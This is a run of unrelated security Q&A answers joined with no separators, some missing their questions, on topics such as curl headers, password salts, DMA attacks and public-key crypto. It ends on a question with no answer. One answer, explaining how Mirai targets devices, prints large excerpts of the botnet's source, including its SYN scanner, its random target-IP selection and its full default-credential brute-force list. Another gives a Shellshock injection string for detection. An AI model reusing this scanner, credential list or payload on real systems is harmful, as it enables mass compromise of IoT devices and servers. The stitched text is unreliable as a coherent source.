How to send GET/POST requests without header and agent information

I'm surprised nobody mentioned the easiest way of doing this, with curl :

curl -H "User-Agent:" -H "Host:" http://10.0.1.2/

The -H argument can be used to set custom headers or to remove them by setting no value on them.

Example of what that command does on my site, with -v added for verbosity :

andre@network ~ % curl -H "User-Agent:" -H "Host:" http://andredaniel.me -v
* Rebuilt URL to: http://andredaniel.me/
* Hostname was NOT found in DNS cache
*   Trying 2a01:7e00::f03c:91ff:fe89:63c8...
* connect to 2a01:7e00::f03c:91ff:fe89:63c8 port 80 failed: Connection refused
*   Trying 85.159.208.85...
* Connected to andredaniel.me (85.159.208.85) port 80 (#0)
> GET / HTTP/1.1
> Accept: */*
>
< HTTP/1.1 400 Bad Request
< Server: nginx/1.6.2
< Date: Mon, 29 Dec 2014 13:09:44 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 172
< Connection: close
<
[page contents truncated]

As you can see, both the host and user-agent headers are missing and the web server doesn't like that very much because I use virtual hosts and the host header is essential in that case.


What are the advantages of multi-level authentication?

If all authentication is done by typing passwords into the same device (your desktop client) - then, yes, key stroke loggers are still going to be an issue.  Keep in mind that when you separate authentication systems, you open up options to go to multifactor authentication, as well - if not now, then in the future - where you could use tokens, separate key pads, etc. - which could limit a simple key logger's ability to get the high privilege access.

Man in the middle - if the man in the middle is in the middle for both levels of authorization, then yes, that's an issue.  But most times I'd have been surprised to find that both took the same path.  So if you're talking about web browsing, then possibly.  But if it's access to the host, then access to something on the network - you may be talking about two paths, and the man in the middle would need access to both.

Social Engineering (including phishing) - Usually multilevel authentication comes with multilple rounds of training.  In the case of an admin account and a regular employee account, the employees usually get a long boring training session on the importance of security, which may or may not be effective.  Quite often admins with high risk accounts, are given a secondary round of training that is more pointed, and more along the lines of "mess this up in a big, careless way, and you'll be fired".  By giving and separating the password, it's often easier, administratively, to enforce this.

Other advantages:

Separate security processes - with two levels of passwords, there's an option to let the low level password store compromise on the side of availability while the high risk password store tends towards privacy.  For example:

the low level may provide federation services, remote access, services that support non-company devices, etc.  The high level store may require physical access to the building, encryption capabilities that aren't available on all devices, and higher-grade password quality.
separate storage - both live and in backup and in logging.  A high end system may require encrypted tape backup, securely stored audit logs for a certain period of time - being able to totally separate the infrastructure can be very helpful here.  High end storage is expensive, so less to store is a big win.
access monitoring - live monitoring of access attempts - a system far in the front of an infrastructure may invoke so many brute force attempts a day that you don't worry much about it until it becomes a DDOS.  A system nested deeply inside the infrastructure may be of serious concern every time the intrusion detection raises a flag.  Access monitoring may be staffed differently, monitored differently and reacted to differently.

I could probably dream up a few more.. but most of what I come up with as BIG wins are from a large scale organizational perspective where the focus is not just on the single user and their end machine, but on the system as a whole, and the need to trade cost vs. risk.


Is there a software that would scan the ports automatically, then predict if there are any malicious activity going on, on my Win10 PC?

Sadly, there is no such thing. The reason for that being because it's extremely difficult to tell with a reasonable degree of accuracy what is benign and what is malicious.

Telling what is good from what is bad is a very general problem that Anti-Virus vendors have been trying to solve for a very long time. I won't judge how successful they were at doing so.

The underlying problem is that exact matches for behavior are extremely rare. Exact matches are only possible for very primitive malware, and even then only malware that has already been encountered in the wild.

What if my scanner is too permissive?

Simply put, it won't detect all the malware. And since you are the defender, defending successfully 99 out of 100 tries just isn't good enough.

What if my scanner is too restrictive/paranoid?

Imagine an anti-virus scanner that would alert you for every file you open, because it contains a 4-byte long match for some malware signature. Your operating system would effectively become unusable. As a result, you would become "numb" to any and all warnings from your scanner, thinking it's going to be yet another false positive.

What about ports specifically?

Since you mentioned port scanning specifically, I want to go into more detail about that. A port scanner is basically an application which tries to connect to many ports and see which ones answer and which ones don't.

More sophisticated port-scanners attempt to communicate with the application behind the port to see what the application does. If the port scanner sends an HTTP request and receives an HTTP response, the application is likely an HTTP server of some sorts.

The reason why this would not work for malware scanning is that such scanners can easily be tricked. An application can just choose not to reply, and the scanner would have to report "Sorry, I don't know what that is". Since this is extremely common behavior, it is likely not suspicious. Reporting it as "potentially dangerous" would lead to a "What if my scanner is too paranoid?"-scenario.


Are kiosk-style, full screen apps possible on iOS, Android, or Windows phone?

I know there is a great example and discussion on this for Samsung devices and Android, so you might want to start there and see if it takes you to where you want to go with everything else.

http://developer.samsung.com/android/technical-docs/Neat-tricks-when-implementing-a-kiosk-app

  Removing the title bar and status bar
  ... you may want to ... remove the app title bar and the system status bar, which will make an app full-screen. Please note that some devices (like the Galaxy Nexus or Galaxy Tab tablets) have another bar with buttons which are represented by hardware buttons in other devices. That bar cannot be covered by any app. In order to remove those bars, use the code below before calling the setContentView method in your Activity. It will request the extended feature (to remove the title bar) and set the proper flag to the window (to cover the status bar).

requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);

  Prevent exiting the app via the back button Since the kiosk app shouldn’t be closed, you can handle pushing the back button and assign
  another action to it. For instance, you may want to go to the homepage
  when user tries to exit the app. To do so, override one of the
  Activity methods, which is called every time the back button is
  pressed. [or set this to null or refresh to keep it on the same display]

@Override
        public void onBackPressed() {
        mWebView.loadUrl(mHomepageUrl);
    }

  Disable the home button In general, disabling the home button is not a good practice, but it can be very useful when developing a kiosk
  app. Since Android 4.0 there is no effective method to do so, so you
  may need to use another solution, e.g. setting your app as a home
  screen, which is described further. However, for older OS versions you
  may switch the window type to keyguard, which will prevent from
  handling home button pressing.

@Override
        public void onAttachedToWindow() {
        getWindow().setType(WindowManager.LayoutParams.TYPE_KEYGUARD);
        super.onAttachedToWindow();
    }

  Set an app to cover the lock screen If you want your app to be visible all the time, setting it to be on top of the lock screen may
  be useful. This is quite simple to achieve, you only need to set few
  additional flags for your Activity window.

getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);

(snippets of the most useful elements of the document relating to a kiosk app)


In HTTP(S) URLs, the : (in its direct form) has these purposes:

delimiter between scheme and hier-part (http://example.com)
delimiter between host and port (example.com:80)
(deprecated) delimiter between name and password in userinfo (user:password@example.com)
in the host, it may be part of IP addresses

In the path, the query, and the fragment, the : can be used to represent data. So there is no technical difference between a path like /hello and a path like /:hello.

In your example, it’s percent-encoded (as %3A). Any percent-encoded character can appear in the path/query/fragment, where it represents data.

(Terminology based on the URI standard)

There is nothing problematic for security about : or %3A in the path/query/fragment, compared to any other character that can appear there. Whatever could be done with : (e.g., using it as prefix for a user tracking string) could as well be done with !, ;, etc.

What probably happens in your case (just a guess from observing the link/redirect, I have no experience with Disqus):

When a user posts an external link, Disqus doesn’t link it directly. Instead, they link to their own service http://disq.us/, which then redirects to the original URL.
Disqus adds the original URL as value for the url parameter (to which it adds a cryptic string prepended by :), and an ID as value for the cuid parameter.

The :-string is generated (and remembered) by Disqus (see point 3 for what it might be used).
The cuid indicates the Disqus account of the site owner where the comment with the external link was published (probably for analytics purposes).

For a specific original URL, the redirect only works if the disq.us URL contains the same :-string that was generated when the original URL was first submitted. This could prevent that their redirect service gets used for URLs that were never posted in a comment.

So clicking this link can affect your privacy, even if you have disabled sending of the Referer, and even if you don’t execute JavaScript:

The linking site owner can know that you clicked their link.
Disqus can know that you clicked this link (and on whose site, possibly also page).
The linked site owner can know that you came from a link in a Disqus comment, and possibly also from which site/page (e.g., if the Disqus cuid can be found in a search engine).

To prevent this, you could extract the url parameter value, remove the last part prepended by (and including the) %3A, and percent-decode the result once. This allows you to visit the linked document directly, without going through Disqus’ redirect service. This works as long they decide to include the target URL in their redirect URL (which they wouldn’t have to).


Is it risky to mount tmpfs volumes in Docker?

I don't think so, as tmpfs is a mature driver, and unless a strange bug appears (unlikely but possible), it's as risky as mounting an ext3 filesystem, or any network card, or loading any other driver.


How often do two users use the same password

The assumption is already wrong. Even if every password was unique, you'd still need salts.

Without salts, the attacker can go through his list of possible passwords just once, compare the hash of each guess and check if the result matches any of the stored hashes. In other words, the attacker only needs a single calculation per guess. This has nothing to do with whether or not the passwords are unique.

Salts prevent this, because they make it impossible to reuse a calculated hash accross different user accounts. The attacker has to do one calculation per guess and user.

But even if you ignore this for a moment and only look at salts as a way to hide duplicate passwords, your scenario is still unrealistic: It's not enough for the passwords to be unique within your system. They need to be unique accross all systems which use the same hash algorithm. Otherwise, an attacker might find duplicate passwords by comparing your hashes with the hashes of some other application.

Since it's very unlikely that an average user will come up with a universally unique password, you need salts in any case.


Correct way to generate password salts in PHP 5.3 on Linux given my constraints?

So what do you want from your salts?

They should be somewhat unpredictable to prevent pre-computation attacks.
They should be globally unique.
They should be as small as possible as it needs to highly scale.

The only assumption you need to make is that /dev/urandom is secure and at least provides statistically random numbers (which it should). This is a reasonable assumption as otherwise nearly everything (crypto related) on your system would be broken, as very most of them use /dev/urandom. It further needs to be assumed that mcrypt basically just forwards /dev/urandom's output.

To satisfy property #1 you'd need to have at least 128 bit (=16 bytes) salts, but this would leave you with a good probabilty of a collision after having observed 2^(128/2)=2^64 salts, which may be too soon for you to be really sure that they're unique. I thereby propose to use 32 byte (= 256 bit) salts that have 128 bit collision resistance making it really unlikely to ever re-use any salt and salt will still be reasonably small (you could also use 512-bit salts...).

As far as password hashing is concerned you may want to have a look at the related competition.


The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.

If you like to know how Mirai communicates with it's C&C. Check out similar question "How does Mirai's C&C communicate with its bots?".

Here instead is the explanation on "How Mirai Targets."

SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports

// Set up raw socket scanning and payload
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
    printf("[scanner] Failed to initialize raw socket, cannot scan\n");
#endif
    exit(0);
}

Getting responses

    if (fake_time != last_spew)
    {
        last_spew = fake_time;

        for (i = 0; i < SCANNER_RAW_PPS; i++)
        {
            struct sockaddr_in paddr = {0};
            struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

            iph->id = rand_next();
            iph->saddr = LOCAL_ADDR;
            iph->daddr = get_random_ip();
            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            if (i % 10 == 0)
            {
                tcph->dest = htons(2323);
            }
            else
            {
                tcph->dest = htons(23);
            }
            tcph->seq = iph->daddr;
            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

            paddr.sin_family = AF_INET;
            paddr.sin_addr.s_addr = iph->daddr;
            paddr.sin_port = tcph->dest;

            sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
        }
    }

And getting random ip to target

static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
    tmp = rand_next();

    o1 = tmp & 0xff;
    o2 = (tmp >> 8) & 0xff;
    o3 = (tmp >> 16) & 0xff;
    o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
      (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
      (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
      (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
      (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
      (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
      (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
      (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
      (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
      (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
      (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
      (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
      (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);

return INET_ADDR(o1,o2,o3,o4);
}

Send ACK packet and receive the response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323

last_avail_conn = 0;
while (TRUE)
{
int n;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct scanner_connection *conn;

errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
    break;

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
    continue;
if (iph->daddr != LOCAL_ADDR)
    continue;
if (iph->protocol != IPPROTO_TCP)
    continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
    continue;
if (tcph->dest != source_port)
    continue;
if (!tcph->syn)
    continue;
if (!tcph->ack)
    continue;
if (tcph->rst)
    continue;
if (tcph->fin)
    continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
    continue;

conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
    if (conn_table[n].state == SC_CLOSED)
    {
        conn = &conn_table[n];
        last_avail_conn = n;
        break;
    }
}

Once the above are done. A TCP Session is then Established

    FD_ZERO(&fdset_rd);
    FD_ZERO(&fdset_wr);
    for (i = 0; i < SCANNER_MAX_CONNS; i++)
    {
        int timeout;

        conn = &conn_table[i];
        timeout = (conn->state > SC_CONNECTING ? 30 : 5);

        if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
        {
#ifdef DEBUG
            printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
#endif
            close(conn->fd);
            conn->fd = -1;

            // Retry
            if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
            {
                if (++(conn->tries) == 10)
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                else
                {
                    setup_connection(conn);
#ifdef DEBUG
                    printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
                }
            }
            else
            {
                conn->tries = 0;
                conn->state = SC_CLOSED;
            }
            continue;
        }

Password Enumeration

        if (FD_ISSET(conn->fd, &fdset_rd))
        {
            while (TRUE)
            {
                int ret;

                if (conn->state == SC_CLOSED)
                    break;

                if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                {
                    memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                    conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                }
                errno = 0;
                ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                if (ret == 0)
                {
#ifdef DEBUG
                    printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
#endif
                    errno = ECONNRESET;
                    ret = -1; // Fall through to closing connection below
                }
                if (ret == -1)
                {
                    if (errno != EAGAIN && errno != EWOULDBLOCK)
                    {
#ifdef DEBUG
                        printf("[scanner] FD%d lost connection\n", conn->fd);
#endif
                        close(conn->fd);
                        conn->fd = -1;

                        // Retry
                        if (++(conn->tries) >= 10)
                        {
                            conn->tries = 0;
                            conn->state = SC_CLOSED;
                        }
                        else
                        {
                            setup_connection(conn);
#ifdef DEBUG
                            printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
                        }
                    }

Attempts using common weak passwords and default passwords.

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
 add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker


Would using a firmware password protect a MacBook Pro from Thunderstrike?

No, a firmware password wouldn't prevent Thunderstrike.

The idea behind any kind of DMA attack is that a physical device can read (or possibly write) sensitive memory without the user noticing. This can also be used to bypass a lockscreen if the laptop is left unattended, though the usual attack scenario is that the user's Thunderbolt peripheral is replaced with a malicious version which performs the DMA attack and provides remote access or exfiltration, without them realising that it's happening.

As part of this scenario, the laptop would need to be attacked while switched on and in use. Otherwise there's nothing interesting in memory to steal.

As for disabling Thunderbolt, I took a quick look at some leaked circuit schematics for Apple MBPs (I can't link or embed them here for obvious reasons) and it looks like the mini-DP's data lines go directly(*) to the buses necessary to perform DMA. As such, it looks like they're directly integrated into hardware and, even if you did switch off the Thunderbolt functionality at the software level, an attached device can always talk to the memory directly.

Unless I'm missing something critical, unfortunately it looks like your only option is to physically disable the offending ports with epoxy, or switch to using a device which doesn't expose such sensitive functionality to peripheral IO.

(*) Technically they pass through some filtering and buffers, but these are irrelevant. I also only checked the schematic for one specific make and model of MBP, so others may have ways to cut off the Thunderbolt functionality via the SMC.


Securing Micro Services Architecture internally

Reusing the edge token is a really bad idea as it simply gives more opportunities for it to be intercepted and wrongly used.

You should identify any risk boundaries first. So which services/data actually require additional or separate protection. Then you can create security boundaries that match. You should not generally try to secure "all" internal services independently as this is hard, and expensive, to scale. It wouldn't necessarily provide a lot of extra security anyway. Classifying systems and data is a boring pain but is the most important thing you can do.

Each boundary can then be secured by whatever method is best. Some might only need to be restricted by what addresses are allowed through (firewall), others might need additional token or certificate based security.

In an environment needing security, the edge servers would generally be considered as untrusted (semi-trusted at best) in any case since these will be the ones most exposed.


Difference between masquerading and replay attacks?

These two terms do not have meanings at the same level. Masquerading (or impersonation; the two terms are equivalent) is any attack wherein the attackers acts (emits data packets or the like) as if he was some other user or entity in the system. Replay attacks are attacks where the attacker simply sends a data element (e.g. a data packet) which was previously sent by some other user, in the hope of reproducing the effect.

Thus, a "replay attack" is often a specific kind of impersonation; or you can consider replay attacks to be a tool used to implement an impersonation attack.


Is it safe to reveal AES encrypted password?

Main answer

In summary, you are completely right with your first assumption:

  It is probably more good practice to not show any hint of the password.

There are a few issues with the rest of your question though:

You do not want to encrypt passwords.

Usually, that is, at least.

schroeder rightfully asks in the comments

  Side question: why are passwords encrypted and not hashed?

Thing is: If you encrypt the passwords instead of hashing them, you can always decrypt them and use them. Usually, the key for decryption has to be somewhere in the application for the data to be of any use.

Hence, if someone stole your application's data - which isn't that uncommon (and the usual reason for credentials to show up on haveibeenpwned) - that someone has all passwords in clear text.

Thus, you usually want to hash passwords - there are well received Q&As here on how that works.
You do not want to use plain AES

If you use plain AES, the same password encrypts to the same ciphertext.

If someone has access to all ciphertexts, statistical analysis is likely to give away the plain text of at least one ciphertext - and all accounts with that password are automatically breached.

An example: If you know the most often used password is cucumber, you go ahead and look for the most often appearing ciphertext - the plain text is likely to be cucumber.

Also, this restricts your users' passwords to the block size. This might be not what you (or your users) want.
You do want to give away as little information as you possibly can.

Even publicly listing proper hashes of user passwords would be a pretty bad idea, as - again - schroeder already put in the comments:

  Another question: what do you mean by "safe"? It is possible to brute-force the decryption of an encrypted string.

Encrypting passwords is basically a plain text offense, according to Plain text offenders' FAQ

  But the site says they store my password securely using [something]!

  Your password is yours. It is the means by which you identify yourself to a site. If a site can tell what your password is after you gave it to them, anyone can know what your password is (hackers, disgruntled employees, people stumbling onto it by accident, etc.).

Side Note

While AES with a reasonable mode of operation is not vulnerable to known plaintext attacks (I think what you had in mind was "I know my password, I can extrapolate the key and know all passwords"), using plain AES will, as said before, increase the chances of an attacker to win in a CPA model.

Which is basically what you have, given that a user can change his/her password.


In inSSIDer, what is the difference between WPA2-CCMP and RSNA-CCMP?

The RSNA-CCMP filter is an accidental left-over from when I wrote the filtering system. It is exactly the same as the WPA2-CCMP filter. :D


That video is misleading on several fronts.  What you are seeing there is actually a Diffie-Hellman key exchange in progress.  The so-called "private key" is not really a private key in the sense of PKI.  The tennis ball represents an encrypted message and when decrypted contains what they label as the "private key" but should have labeled as "secret key". The locks represent a message encrypted with a public key, and the rubber gloved hands have (unlabeled) keys which unlock those locks representing the true private key.

In public/private key systems like RSA, there are two keys: the public key and the private key.  Each key is represented by a number. However, due to various mathematical concepts surrounding prime numbers, their scarcity, and the extreme difficulty of determining how to factor large numbers composed of prime numbers, one person can hold the private key (and NEVER expose it publicly) while allowing the public key to be distributed as freely as they wish.

Fundamental to public/private key cryptography is the property of asymmetry. Only the private key can decrypt information encrypted by the public key.  Because the public key is known to everyone, this means anyone can ENCRYPT a message destined for the holder of the private key.  However, only the private key holder can decrypt it.

Furthermore, public/private key crypto also has the property that the holder of the PRIVATE key can sign a message.  You might see many questions asking whether one can "encrypt with the private key".  "Encrypt" is not the right word because the confidentiality of the message cannot be guaranteed.  Instead, the term "sign" is used and it has a very specific meaning: only the public key can verify the signature. This means that a holder of a private key cannot claim they did not author the message. This is known as non-repudiation and is important when ensuring that a message was not altered.

If you wanted to make a video that discussed the fundamentals of public/private key encryption using the same props as in the video, then you'd need to do the following:

Give out copies of the lock to anyone who asks
Tell them to put a message into the tennis ball and lock it and send it to you
You can then unlock the lock on the tennis ball

The analogy is weak, however, because locks can be picked, opened, and reverse-engineered. Private keys can be "picked", but it might take tens of thousands of years of computing time to do it which is out of reach of ... everyone?

EDIT: I should mention that Diffie-Hellman is very important as a mechanism to distribute what are called "symmetric" keys.  Because of their asymmetric properties, public keys can be distributed freely in the clear without any issues.  However, because a symmetric key is used for both the encryption and decryption, you can't simply shout them across the room.  Their distribution has to be very tightly controlled.  Diffie-Hellman uses public/private keys to protect the distribution of the secret symmetric key.

As a matter of practicality, asymmetric keys are slow and cumbersome to encrypt large amounts of data. Symmetric keys are much faster. So generally what happens is that the symmetric key is used to encrypt bulk data, and must then be transmitted to the receiver to allow them to decrypt it.  Public/private keys are used in Diffie-Hellman to exchange this symmetric key.  The symmetric key can be considered a session key and need only be transmitted once or as-needed depending on if any expiration policies are in place.


Shellshocking Webservers, does anyone know of an attack-vector other than Headers?

For Apache, the HTTP protocol is also a vector:

A request like:

GET /some/cgi () {(:);};xxx

Will put () {(:);};xxx in the SERVER_PROTOCOL environment variable.

So, to detect, it's important to look for the () { string anywhere in the request header, not only after a :\s*.

Also, it's conceivable that a base64 user name in a Authorization header end up in an environment variable for some authentication module.

It's conceivable that QUERYSTRING or PATH_INFO be a vector with some web server implementations (not Apache AFAICT).


How can a network admin uniquely identify machines on their network?

